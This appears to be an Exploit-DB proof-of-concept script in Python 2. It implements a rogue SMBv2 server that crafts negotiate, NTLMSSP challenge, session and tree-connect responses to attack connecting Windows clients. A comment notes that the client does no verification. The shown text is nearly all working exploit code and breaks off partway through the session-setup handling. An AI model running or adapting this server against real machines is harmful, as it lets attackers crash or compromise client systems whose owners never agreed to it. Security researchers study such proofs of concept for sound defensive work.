# https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41222.zip
import sys, struct, SocketServer
from odict import OrderedDict
from datetime import datetime
from calendar import timegm
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def NTStamp(Time):
NtStamp = 116444736000000000 + (timegm(Time.timetuple()) * 10000000)
return struct.pack("Q", NtStamp + (Time.microsecond * 10))
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
def GrabMessageID(data):
Messageid = data[28:36]
return Messageid
def GrabCreditRequested(data):
CreditsRequested = data[18:20]
if CreditsRequested == "\x00\x00":
CreditsRequested = "\x01\x00"
else:
CreditsRequested = data[18:20]
return CreditsRequested
def GrabCreditCharged(data):
CreditCharged = data[10:12]
return CreditCharged
def GrabSessionID(data):
SessionID = data[44:52]
return SessionID
##################################################################################
class SMBv2Header(Packet):
fields = OrderedDict([
("Proto", "\xfe\x53\x4d\x42"),
("Len", "\x40\x00"),
("CreditCharge", "\x00\x00"),
("NTStatus", "\x00\x00\x00\x00"),
("Cmd", "\x00\x00"),
("Credits", "\x01\x00"),
("Flags", "\x01\x00\x00\x00"),
("NextCmd", "\x00\x00\x00\x00"),
("MessageId", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("PID", "\xff\xfe\x00\x00"),
("TID", "\x00\x00\x00\x00"),
("SessionID", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
])
##################################################################################
class SMB2NegoAns(Packet):
fields = OrderedDict([
("Len", "\x41\x00"),
("Signing", "\x01\x00"),
("Dialect", "\xff\x02"),
("Reserved", "\x00\x00"),
("Guid", "\xea\x85\xab\xf1\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x72\xa9"),
("Capabilities", "\x07\x00\x00\x00"),
("MaxTransSize", "\x00\x00\x10\x00"),
("MaxReadSize", "\x00\x00\x10\x00"),
("MaxWriteSize", "\x00\x00\x10\x00"),
("SystemTime", NTStamp(datetime.now())),
("BootTime", "\x22\xfb\x80\x01\x40\x09\xd2\x01"),
("SecBlobOffSet", "\x80\x00"),
("SecBlobLen", "\x78\x00"),
("Reserved2", "\x4d\x53\x53\x50"),
("InitContextTokenASNId", "\x60"),
("InitContextTokenASNLen", "\x76"),
("ThisMechASNId", "\x06"),
("ThisMechASNLen", "\x06"),
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
("SpNegoTokenASNId", "\xA0"),
("SpNegoTokenASNLen", "\x6c"),
("NegTokenASNId", "\x30"),
("NegTokenASNLen", "\x6a"),
("NegTokenTag0ASNId", "\xA0"),
("NegTokenTag0ASNLen", "\x3c"),
("NegThisMechASNId", "\x30"),
("NegThisMechASNLen", "\x3a"),
("NegThisMech1ASNId", "\x06"),
("NegThisMech1ASNLen", "\x0a"),
("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
("NegThisMech2ASNId", "\x06"),
("NegThisMech2ASNLen", "\x09"),
("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
("NegThisMech3ASNId", "\x06"),
("NegThisMech3ASNLen", "\x09"),
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
("NegThisMech4ASNId", "\x06"),
("NegThisMech4ASNLen", "\x0a"),
("NegThisMech4ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
("NegThisMech5ASNId", "\x06"),
("NegThisMech5ASNLen", "\x0a"),
("NegThisMech5ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenTag3ASNId", "\xA3"),
("NegTokenTag3ASNLen", "\x2a"),
("NegHintASNId", "\x30"),
("NegHintASNLen", "\x28"),
("NegHintTag0ASNId", "\xa0"),
("NegHintTag0ASNLen", "\x26"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x24"),
("NegHintFinalASNStr", "Server2009@SMB3.local"),
("Data", ""),
])
def calculate(self):
StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])
SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
#Sec Blob lens
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
self.fields["SecBlobLen"] = struct.pack("<h",len(SecBlobLen))
#ASN Stuff
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(SecBlobLen)-2)
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegThisMech5ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech5ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
##################################################################################
class SMB2Session1Data(Packet):
fields = OrderedDict([
("Len", "\x09\x00"),
("SessionFlag", "\x01\x00"),
("SecBlobOffSet", "\x48\x00"),
("SecBlobLen", "\x06\x01"),
("ChoiceTagASNId", "\xa1"),
("ChoiceTagASNLenOfLen", "\x82"),
("ChoiceTagASNIdLen", "\x01\x02"),
("NegTokenTagASNId", "\x30"),
("NegTokenTagASNLenOfLen","\x81"),
("NegTokenTagASNIdLen", "\xff"),
("Tag0ASNId", "\xA0"),
("Tag0ASNIdLen", "\x03"),
("NegoStateASNId", "\x0A"),
("NegoStateASNLen", "\x01"),
("NegoStateASNValue", "\x01"),
("Tag1ASNId", "\xA1"),
("Tag1ASNIdLen", "\x0c"),
("Tag1ASNId2", "\x06"),
("Tag1ASNId2Len", "\x0A"),
("Tag1ASNId2Str", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("Tag2ASNId", "\xA2"),
("Tag2ASNIdLenOfLen", "\x81"),
("Tag2ASNIdLen", "\xE9"),
("Tag3ASNId", "\x04"),
("Tag3ASNIdLenOfLen", "\x81"),
("Tag3ASNIdLen", "\xE6"),
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen","\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge","\x82\x21\x32\x14\x51\x46\xe2\x83"),
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen","\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh","\x06"),
("NegTokenInitSeqMechMessageVersionLow","\x03"),
("NegTokenInitSeqMechMessageVersionBuilt","\x80\x25"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NTLMSSPNtWorkstationName","SMB3"),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB5"),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","WIN-PRH502RQAFV"),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB5.local"),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","WIN-PRH502RQAFV.SMB5.local"),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB5.local"),
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr",NTStamp(datetime.now())),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
#Packet struct calc:
StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])
###### SecBlobLen Calc:
CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
#Packet Struct len
self.fields["SecBlobLen"] = struct.pack("<H", len(AsnLen+CalculateSecBlob))
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
###### ASN Stuff
if len(CalculateSecBlob) > 255:
self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob))
else:
self.fields["Tag3ASNIdLenOfLen"] = "\x81"
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
if len(AsnLen+CalculateSecBlob)-3 > 255:
self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4)
else:
self.fields["ChoiceTagASNLenOfLen"] = "\x81"
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
if len(AsnLen+CalculateSecBlob)-7 > 255:
self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8)
else:
self.fields["NegTokenTagASNLenOfLen"] = "\x81"
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7)
tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
if len(tag2length) > 255:
self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length))
else:
self.fields["Tag2ASNIdLenOfLen"] = "\x81"
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length))
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### Target Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
class SMB2SessionAcceptData(Packet):
fields = OrderedDict([
("Len", "\x09\x00"),
("SessionFlag", "\x01\x00"),
("SecBlobOffSet", "\x48\x00"),
("SecBlobLen", "\x1d\x00"),
("SecBlobTag0", "\xa1"),
("SecBlobTag0Len", "\x1b"),
("NegTokenResp", "\x30"),
("NegTokenRespLen", "\x19"),
("NegTokenRespTag0", "\xa0"),
("NegTokenRespTag0Len", "\x03"),
("NegStateResp", "\x0a"),
("NegTokenRespLen1", "\x01"),
("NegTokenRespStr", "\x00"),
("SecBlobTag3", "\xa3"),
("SecBlobTag3Len", "\x12"),
("SecBlobOctetHeader", "\x04"),
("SecBlobOctetLen", "\x10"),
("MechlistMICVersion", ""),# No verification on the client side...
("MechlistCheckSum", ""),
("MechlistSeqNumber", ""),
("Data", ""),
])
def calculate(self):
###### SecBlobLen Calc:
CalculateSecBlob = str(self.fields["SecBlobTag0"])+str(self.fields["SecBlobTag0Len"])+str(self.fields["NegTokenResp"])+str(self.fields["NegTokenRespLen"])+str(self.fields["NegTokenRespTag0"])+str(self.fields["NegTokenRespTag0Len"])+str(self.fields["NegStateResp"])+str(self.fields["NegTokenRespLen1"])+str(self.fields["NegTokenRespStr"])+str(self.fields["SecBlobTag3"])+str(self.fields["SecBlobTag3Len"])+str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])
CalculateASN = str(self.fields["NegTokenResp"])+str(self.fields["NegTokenRespLen"])+str(self.fields["NegTokenRespTag0"])+str(self.fields["NegTokenRespTag0Len"])+str(self.fields["NegStateResp"])+str(self.fields["NegTokenRespLen1"])+str(self.fields["NegTokenRespStr"])+str(self.fields["SecBlobTag3"])+str(self.fields["SecBlobTag3Len"])+str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])
MechLen = str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])
#Packet Struct len
self.fields["SecBlobLen"] = struct.pack("<h",len(CalculateSecBlob))
self.fields["SecBlobTag0Len"] = struct.pack("<B",len(CalculateASN))
self.fields["NegTokenRespLen"] = struct.pack("<B", len(CalculateASN)-2)
self.fields["SecBlobTag3Len"] = struct.pack("<B",len(MechLen))
self.fields["SecBlobOctetLen"] = struct.pack("<B",len(MechLen)-2)
class SMB2TreeData(Packet):
fields = OrderedDict([
("Len", "\x10\x00"),
("ShareType", "\x02\x00"),
("ShareFlags", "\x30\x00\x00\x00"),
("ShareCapabilities", "\x00\x00\x00\x00"),
("AccessMask", "\xff\x01\x1f\x01"),
("Data", ""),
])
##########################################################################
class SMB2(SocketServer.BaseRequestHandler):
def handle(self):
try:
self.request.settimeout(1)
print "From:", self.client_address
data = self.request.recv(1024)
##Negotiate proto answer.
if data[8:10] == "\x72\x00" and data[4:5] == "\xff":
head = SMBv2Header(CreditCharge="\x00\x00",Credits="\x01\x00",PID="\x00\x00\x00\x00")
t = SMB2NegoAns()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Negotiating SMBv2."
self.request.send(buffer1)
data = self.request.recv(1024)
if data[16:18] == "\x00\x00":
CreditsRequested = data[18:20]
if CreditsRequested == "\x00\x00":
CreditsRequested = "\x01\x00"
CreditCharged = data[10:12]
head = SMBv2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
t = SMB2NegoAns(Dialect="\x02\x02")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Negotiate Protocol SMBv2 packet sent."
self.request.send(buffer1)
data = self.request.recv(1024)
#Session More Work to Do
if data[16:18] == "\x01\x00":
